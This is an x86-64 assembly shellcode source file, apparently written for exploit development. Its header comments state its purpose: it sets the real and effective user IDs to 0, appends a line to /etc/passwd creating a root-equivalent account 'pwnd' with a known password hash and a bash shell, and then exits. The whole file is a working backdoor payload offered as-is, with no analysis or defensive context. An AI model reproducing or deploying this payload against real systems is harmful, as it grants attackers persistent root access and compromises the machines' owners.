; Writes new user 'pwnd' to /etc/passwd with the password '1a2b3c4d'
; Generate hash with perl: perl -le 'print crypt("1a2b3c4d", "root")'
; Line to write: 'pwnd:roXZRtEhJnId2:0:0::/root:/bin/bash\n'

section .text
global _start

_start:
	xor rbx, rbx			; null rbx (0)
    	mul rbx                     	; rax, rbx, rdx = 0
	xor rdi, rdi			; null rdi (0)
	xor rsi, rsi			; null rsi (0)

	mov al, 0x71			; move setreuid syscall number into al (rax)
	syscall				; call setreuid

	push rbx			; push null terminator
	mov rbx, 0x6477737361702f2f	; move "//passwd" into rbx
	push rbx			; push "//passwd"
	mov rbx, 0x2f6374652f2f2f2f	; move "////etc/" into rbx
	push rbx			; push "////etc/"

	mov rdi, rsp			; move pointer to "////etc//passwd" into rdi
	mov si, 0x401			; move 0x401 (WRITE ONLY | APPEND) into si (rsi)
	mov al, 0x02			; move open syscall number into al (rax)
	syscall				; call open

	mov rdi, rax			; move file-descriptor into rdi

	xor rbx, rbx			; null rbx (0)
	mul rbx				; rax, rbx, rdx = 0

	push rbx			; push null terminator
	mov rbx, 0x0a687361622f6e69	; move "in/bash\n" into rbx
	push rbx			; push "in/bash\n"
	mov rbx, 0x622f3a746f6f722f	; move "/root:/b" into rbx
	push rbx			; push "/root:/b"
	mov rbx, 0x3a3a303a303a3264	; move "d2:0:0::" into rbx
	push rbx			; push "d2:0:0::"
	mov rbx, 0x496e4a684574525a	; move "ZRtEhJnI" into rbx
	push rbx			; push "ZRtEhJnI"
	mov rbx, 0x586f723a646e7770	; move "pwnd:roX" into rbx
	push rbx			; push "pwnd:roX"

	mov rsi, rsp			; move pointer to new user string into rdi
	mov dl, 40			; move 40 (bytes) into dl (rdx)
	mov al, 0x01			; move write syscall number into al (rax)
	syscall				; call write

	xor rax, rax			; null rax (0)
	mov al, 0x03			; move close syscall num into al (rax)
	syscall 			; call close

	xor rax, rax			; null rax (0)
	xor rdi, rdi			; null rdi (0)
	mov al, 0x3c			; move exit syscall number into al (rax)
	syscall				; call exit